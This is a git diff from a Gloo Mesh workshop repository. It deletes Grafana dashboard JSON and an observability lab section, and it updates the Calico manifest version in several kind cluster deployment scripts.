- "value": 2 - }, - { - "id": "custom.stacking", - "value": { - "group": false, - "mode": "normal" - } - }, - { - "id": "custom.lineStyle", - "value": { - "dash": [ - 10, - 10 - ], - "fill": "dash" - } - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "quota - limits" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "#FF9830", - "mode": "fixed" - } - }, - { - "id": "custom.fillOpacity", - "value": 0 - }, - { - "id": "custom.lineWidth", - "value": 2 - }, - { - "id": "custom.stacking", - "value": { - "group": false, - "mode": "normal" - } - }, - { - "id": "custom.lineStyle", - "value": { - "dash": [ - 10, - 10 - ], - "fill": "dash" - } - } - ] - } - ] - }, - "gridPos": { - "h": 16, - "w": 12, - "x": 0, - "y": 57 - }, - "id": 39, - "interval": "1m", - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "8.3.3", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "sum(rate(container_cpu_usage_seconds_total{namespace=\"gloo-mesh\"}[5m])) by (pod)", - "format": "time_series", - "hide": false, - "interval": "", - "intervalFactor": 2, - "legendFormat": "{{pod}}", - "refId": "A", - "step": 10 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "scalar(kube_resourcequota{namespace=\"gloo-mesh\", type=\"hard\",resource=\"requests.cpu\"})", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "quota - requests", - "refId": "B", - "step": 10 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "scalar(kube_resourcequota{namespace=\"gloo-mesh\", type=\"hard\",resource=\"limits.cpu\"})", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "quota - limits", - "refId": "C", - "step": 10 - } - ], - "title": "Gloo vCPU Usage", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 100, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 0, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "normal" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "bytes" - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "quota - requests" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "#F2495C", - "mode": "fixed" - } - }, - { - "id": "custom.fillOpacity", - "value": 0 - }, - { - "id": "custom.lineWidth", - "value": 2 - }, - { - "id": "custom.stacking", - "value": { - "group": false, - "mode": "normal" - } - }, - { - "id": "custom.lineStyle", - "value": { - "dash": [ - 10, - 10 - ], - "fill": "dash" - } - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "quota - limits" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "#FF9830", - "mode": "fixed" - } - }, - { - "id": "custom.fillOpacity", - "value": 0 - }, - { - "id": "custom.lineWidth", - "value": 2 - }, - { - "id": "custom.stacking", - "value": { - "group": false, - "mode": "normal" - } - }, - { - "id": "custom.lineStyle", - "value": { - "dash": [ - 10, - 10 - ], - "fill": "dash" - } - } - ] - } - ] - }, - "gridPos": { - "h": 16, - "w": 12, - "x": 12, - "y": 57 - }, - "id": 41, - "interval": "1m", - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "8.3.3", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "sum(container_memory_working_set_bytes{job=\"kubelet\", metrics_path=\"/metrics/cadvisor\", namespace=\"gloo-mesh\", container!=\"\", image!=\"\"}) by (pod)", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "{{pod}}", - "refId": "A", - "step": 10 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "scalar(kube_resourcequota{namespace=\"gloo-mesh\", type=\"hard\",resource=\"requests.memory\"})", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "quota - requests", - "refId": "B", - "step": 10 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "scalar(kube_resourcequota{namespace=\"gloo-mesh\", type=\"hard\",resource=\"limits.memory\"})", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "quota - limits", - "refId": "C", - "step": 10 - } - ], - "title": "Gloo Memory Usage (w/o cache)", - "type": "timeseries" - } - ], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Gloo Resource Usage", - "type": "row" - } - ], - "refresh": "30s", - "schemaVersion": 37, - "style": "dark", - "tags": [ - "gloo" - ], - "templating": { - "list": [ - { - "current": { - "selected": true, - "text": "prometheus-GM", - "value": "prometheus-GM" - }, - "hide": 0, - "includeAll": false, - "label": "Gloo Prometheus", - "multi": false, - "name": "GlooPrometheus", - "options": [], - "query": "prometheus", - "queryValue": "", - "refresh": 1, - "regex": "", - "skipUrlSync": false, - "type": "datasource" - }, - { - "current": { - "selected": false, - "text": "Prometheus", - "value": "Prometheus" - }, - "hide": 0, - "includeAll": false, - "label": "External Prometheus", - "multi": false, - "name": "ExternalPrometheus", - "options": [], - "query": "prometheus", - "queryValue": "", - "refresh": 1, - "regex": "", - "skipUrlSync": false, - "type": "datasource" - } - ] - }, - "time": { - "from": "now-3h", - "to": "now" - }, - "timepicker": {}, - "timezone": "", - "title": "Gloo Platform Operations", - "uid": "9Zx09Zg45", - "version": 10, - "weekStart": "" -} diff --git a/gloo-mesh/enterprise/2-4/default/images/steps/gloo-platform-observability/metrics-architecture-otel.svg b/gloo-mesh/enterprise/2-4/default/images/steps/gloo-platform-observability/metrics-architecture-otel.svg deleted file mode 100644 index 47b8c2c638..0000000000 --- a/gloo-mesh/enterprise/2-4/default/images/steps/gloo-platform-observability/metrics-architecture-otel.svg +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - workload cluster 1Gloo metrics collector agentsEast-west gatewayistiodmanagement clusterGloo management serverPrometheus servergRPC pushmetric scraping every 15sGloo agentGoo metricsgateway123Istio workloadworkload cluster 2Gloo metrics collector agentsEast-west gatewayistiodGloo agent1Istio workloadscrapescrapescrapescrapescrapescrape \ No newline at end of file diff --git a/gloo-mesh/enterprise/2-4/default/scripts/deploy-aws-with-calico.sh b/gloo-mesh/enterprise/2-4/default/scripts/deploy-aws-with-calico.sh index d123dd7b8f..1c7a2ec3cf 100755 --- a/gloo-mesh/enterprise/2-4/default/scripts/deploy-aws-with-calico.sh +++ b/gloo-mesh/enterprise/2-4/default/scripts/deploy-aws-with-calico.sh @@ -184,7 +184,7 @@ docker network connect "kind" us-central1-docker || true docker network connect "kind" quay || true docker network connect "kind" gcr || true -kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.25.0/manifests/calico.yaml +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml # Preload MetalLB images docker pull quay.io/metallb/controller:v0.13.12 diff --git a/gloo-mesh/enterprise/2-4/default/scripts/deploy-multi-with-calico.sh b/gloo-mesh/enterprise/2-4/default/scripts/deploy-multi-with-calico.sh index e72e1f9720..dea19640aa 100755 --- a/gloo-mesh/enterprise/2-4/default/scripts/deploy-multi-with-calico.sh +++ b/gloo-mesh/enterprise/2-4/default/scripts/deploy-multi-with-calico.sh @@ -121,7 +121,7 @@ docker network connect "kind" us-central1-docker || true docker network connect "kind" quay || true docker network connect "kind" gcr || true -kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.25.0/manifests/calico.yaml +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml # Preload MetalLB images docker pull quay.io/metallb/controller:v0.13.12 diff --git a/gloo-mesh/enterprise/2-4/default/scripts/deploy-with-calico.sh b/gloo-mesh/enterprise/2-4/default/scripts/deploy-with-calico.sh index 4e1643ee0c..a14138f3c4 100755 --- a/gloo-mesh/enterprise/2-4/default/scripts/deploy-with-calico.sh +++ b/gloo-mesh/enterprise/2-4/default/scripts/deploy-with-calico.sh @@ -117,7 +117,7 @@ docker network connect "kind" us-central1-docker || true docker network connect "kind" quay || true docker network connect "kind" gcr || true -kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.25.0/manifests/calico.yaml +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml # Preload MetalLB images docker pull quay.io/metallb/controller:v0.13.12 diff --git a/gloo-mesh/enterprise/2-4/gitops/README.md b/gloo-mesh/enterprise/2-4/gitops/README.md index b9ab480506..0f4e801b13 100644 --- a/gloo-mesh/enterprise/2-4/gitops/README.md +++ b/gloo-mesh/enterprise/2-4/gitops/README.md @@ -29,9 +29,8 @@ source ./scripts/assert.sh * [Lab 13 - Create the Root Trust Policy](#lab-13---create-the-root-trust-policy-) * [Lab 14 - Leverage Virtual Destinations for east west communications](#lab-14---leverage-virtual-destinations-for-east-west-communications-) * [Lab 15 - Zero trust](#lab-15---zero-trust-) -* [Lab 16 - See how Gloo Platform can help with observability](#lab-16---see-how-gloo-platform-can-help-with-observability-) -* [Lab 17 - Securing the egress traffic](#lab-17---securing-the-egress-traffic-) -* [Lab 18 - VM integration with Spire](#lab-18---vm-integration-with-spire-) +* [Lab 16 - Securing the egress traffic](#lab-16---securing-the-egress-traffic-) +* [Lab 17 - VM integration with Spire](#lab-17---vm-integration-with-spire-) @@ -1878,7 +1877,6 @@ cp data/steps/deploy-bookinfo/details-v1.yaml data/steps/deploy-bookinfo/ratings ``` We'll define two namespaces with the necessary labels for Istio injection: - ```bash cat <${GITOPS_BOOKINFO}/base/frontends/ns.yaml apiVersion: v1 @@ -3096,7 +3094,8 @@ Let's add the domains to our `/etc/hosts` file: Once Argo CD has synced these resources, you can access the `productpage` service using this URL: [http://cluster1-bookinfo.example.com/productpage](http://cluster1-bookinfo.example.com/productpage). -You should now be able to access the `productpage` application through the browser. - - -Let's install a few dashboards! - -Now, you can go the the Grafana tab, log in with the default login credentials, admin/prom-operator, and import the dashboard of Istio control plane. - -Add the Operational Dashboard -============================= - -Our Gloo components are all instrumented with Prometheus compatible metrics, providing an easy way to pinpoint a potential degradation. - -You can import the following dashboard to see our Operational Dashboard, covering all of our components in the stack. - -Here, you have specific rows for each components, such as the management server, the agent, the telemetry collectors, and some additional information regarding resource usage. - -```bash -cat < ${GITOPS_PLATFORM}/${MGMT}/cm-operational-dashboard.yaml -apiVersion: v1 -kind: ConfigMap -metadata: - name: operational-dashboard - namespace: monitoring - labels: - grafana_dashboard: "1" -data: - operational-dashboard.json: |- -$(cat data/steps/gloo-platform-observability/operational-dashboard.json | sed -e 's/^/ /;') -EOF - -cat <>${GITOPS_PLATFORM}/${MGMT}/kustomization.yaml -- cm-operational-dashboard.yaml -EOF - -git -C ${GITOPS_REPO_LOCAL} add . -git -C ${GITOPS_REPO_LOCAL} commit -m "Gloo Platform operator dashboard" -git -C ${GITOPS_REPO_LOCAL} push -``` - - -Out-of-box alerting -=================== - -Our Prometheus comes with useful alerts by default, making it easier to get notified if something breaks. - -All of the default alerts have corresponding panels on the Operational Dashboard. - -You can click the "Bell" icon on the left, and choose "Alert rules", and check "GlooPlatformAlerts" to take a closer look at them. - -Let's trigger one of the alerts! - -If you scale down the Gloo Agent in let's say `cluster1`, you should have an alert called `GlooPlatformAgentsAreDisconnected` go into first PENDING, then FIRING, let's check this! - -```sh -kubectl --context $CLUSTER1 scale deployment.apps/gloo-mesh-agent -n gloo-mesh --replicas=0 -``` - -The alert will fire in 5m, but even before that, it will reach PENDING state, let's wait for this! - -Don't forget to scale it up after: - -```sh -kubectl --context $CLUSTER1 scale deployment.apps/gloo-mesh-agent -n gloo-mesh --replicas=1 -``` - -Collect remote IstioD metrics securely -====================================== - -Let's take a look how easy it is to modify the metrics collection in the workload clusters, to collect IstioD metrics, and ship them to the management cluster over TLS. - -Create a new set of values to apply to the Gloo Platform agents installation: - -```bash -cat < ${GITOPS_PLATFORM}/argo-cd/gloo-platform-agents-installation-values-istio.yaml -telemetryCollectorCustomization: - extraProcessors: - batch/istiod: - send_batch_size: 10000 - timeout: 10s - filter/istiod: - metrics: - include: - match_type: regexp - metric_names: - - "pilot.*" - - "process.*" - - "go.*" - - "container.*" - - "envoy.*" - - "galley.*" - - "sidecar.*" - # - "istio_build.*" re-enable this after this is fixed upstream - extraPipelines: - metrics/istiod: - receivers: - - prometheus - processors: - - memory_limiter - - batch/istiod - - filter/istiod - exporters: - - otlp -EOF -``` - -Update the `Application` for the agents to include the additional values: - -```bash -yq -i '(.spec.template.spec.sources[] | select(.chart == "gloo-platform")).helm.valueFiles += ["$values/platform/argo-cd/gloo-platform-agents-installation-values-istio.yaml"]' \ - ${GITOPS_PLATFORM}/argo-cd/gloo-platform-agents-installation.yaml -``` - -Commit these changes: - -```bash -git -C ${GITOPS_REPO_LOCAL} add . -git -C ${GITOPS_REPO_LOCAL} commit -m "New Helm values for Istio metrics" -git -C ${GITOPS_REPO_LOCAL} push -``` - -This configuration update will - - create a new processor, called `filter/istiod`, that will enable all the IstioD/Pilot related metrics - - create a new pipeline, called `metrics/istiod`, that will have the aforementioned processor to include the control plane metrics - -Then, we just need to perform a rollout restart for the metrics collector, so the new pods can pick up the config change. - -```bash -kubectl --context $CLUSTER1 rollout restart daemonset/gloo-telemetry-collector-agent -n gloo-mesh -``` - -Now, let's import the Istio Control Plane Dashboard, and see the metrics! - -```bash -cat < ${GITOPS_PLATFORM}/${MGMT}/cm-istio-dashboard.yaml -apiVersion: v1 -kind: ConfigMap -metadata: - name: istio-control-plane-dashboard - namespace: monitoring - labels: - grafana_dashboard: "1" -data: - istio-control-plane-dashboard.json: |- -$(cat data/steps/gloo-platform-observability/istio-control-plane-dashboard.json | sed -e 's/^/ /;') -EOF - -cat <>${GITOPS_PLATFORM}/${MGMT}/kustomization.yaml -- cm-istio-dashboard.yaml -EOF - -git -C ${GITOPS_REPO_LOCAL} add . -git -C ${GITOPS_REPO_LOCAL} commit -m "Istio control plane dashboard" -git -C ${GITOPS_REPO_LOCAL} push -``` - - - - -## Lab 17 - Securing the egress traffic +## Lab 16 - Securing the egress traffic [VIDEO LINK](https://youtu.be/tQermml1Ryo "Video Link") @@ -4997,7 +4714,7 @@ git -C ${GITOPS_REPO_LOCAL} push -## Lab 18 - VM integration with Spire +## Lab 17 - VM integration with Spire Let's see how we can configure a VM to be part of the Mesh. diff --git a/gloo-mesh/enterprise/2-4/gitops/data/steps/gloo-platform-observability/istio-control-plane-dashboard.json b/gloo-mesh/enterprise/2-4/gitops/data/steps/gloo-platform-observability/istio-control-plane-dashboard.json deleted file mode 100644 index 555275afdd..0000000000 --- a/gloo-mesh/enterprise/2-4/gitops/data/steps/gloo-platform-observability/istio-control-plane-dashboard.json +++ /dev/null @@ -1,2272 +0,0 @@ -{ - "__inputs": [ - { - "name": "DS_PROMETHEUS-GM", - "label": "prometheus-GM", - "description": "", - "type": "datasource", - "pluginId": "prometheus", - "pluginName": "Prometheus" - } - ], - "__elements": {}, - "__requires": [ - { - "type": "grafana", - "id": "grafana", - "name": "Grafana", - "version": "9.3.1" - }, - { - "type": "datasource", - "id": "prometheus", - "name": "Prometheus", - "version": "1.0.0" - }, - { - "type": "panel", - "id": "timeseries", - "name": "Time series", - "version": "" - } - ], - "annotations": { - "list": [ - { - "builtIn": 1, - "datasource": { - "type": "datasource", - "uid": "grafana" - }, - "enable": true, - "hide": true, - "iconColor": "rgba(0, 211, 255, 1)", - "name": "Annotations & Alerts", - "target": { - "limit": 100, - "matchAny": false, - "tags": [], - "type": "dashboard" - }, - "type": "dashboard" - } - ] - }, - "editable": true, - "fiscalYearStartMonth": 0, - "graphTooltip": 1, - "id": null, - "links": [], - "liveNow": false, - "panels": [ - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 0 - }, - "id": 60, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Deployed Versions", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 5, - "w": 24, - "x": 0, - "y": 1 - }, - "id": 56, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(istio_build{component=\"pilot\", cluster=\"$cluster\"}) by (tag)", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "{{ tag }}", - "range": true, - "refId": "A" - } - ], - "title": "Pilot Versions", - "type": "timeseries" - }, - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 6 - }, - "id": 62, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Resource Usage", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "bytes" - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 6, - "x": 0, - "y": 7 - }, - "id": 5, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "process_virtual_memory_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "instant": false, - "intervalFactor": 2, - "legendFormat": "Virtual Memory", - "refId": "I", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "process_resident_memory_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Resident Memory", - "range": true, - "refId": "H", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_heap_sys_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": true, - "intervalFactor": 2, - "legendFormat": "heap sys", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_heap_alloc_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": true, - "intervalFactor": 2, - "legendFormat": "heap alloc", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_alloc_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Alloc", - "range": true, - "refId": "F", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_heap_inuse_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 2, - "legendFormat": "Heap in-use", - "range": true, - "refId": "E", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_stack_inuse_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Stack in-use", - "range": true, - "refId": "G", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "container_memory_working_set_bytes{container=~\"discovery\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 2, - "legendFormat": "Discovery (container)", - "range": true, - "refId": "B", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "container_memory_working_set_bytes{container=~\"istio-proxy\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Sidecar (container)", - "range": true, - "refId": "C" - } - ], - "title": "Memory", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 6, - "x": 6, - "y": 7 - }, - "id": 6, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(container_cpu_usage_seconds_total{container=\"discovery\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Discovery (container)", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "irate(process_cpu_seconds_total{app=\"istiod\", cluster=~\"$cluster\"}[1m])", - "format": "time_series", - "hide": false, - "intervalFactor": 2, - "legendFormat": "Discovery (process)", - "range": true, - "refId": "C", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(container_cpu_usage_seconds_total{container=\"istio-proxy\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 2, - "legendFormat": "Sidecar (container)", - "range": true, - "refId": "B", - "step": 2 - } - ], - "title": "CPU", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "bytes" - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 6, - "x": 12, - "y": 7 - }, - "id": 7, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "container_fs_usage_bytes{container=\"discovery\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Discovery", - "range": true, - "refId": "B", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "container_fs_usage_bytes{container=\"istio-proxy\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Sidecar", - "range": true, - "refId": "A" - } - ], - "title": "Disk", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 6, - "x": 18, - "y": 7 - }, - "id": 4, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": false - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_goroutines{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Number of Goroutines", - "range": true, - "refId": "A", - "step": 2 - } - ], - "title": "Goroutines", - "type": "timeseries" - }, - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 14 - }, - "id": 58, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Pilot Push Information", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Shows the rate of pilot pushes", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "bars", - "fillOpacity": 100, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "normal" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - 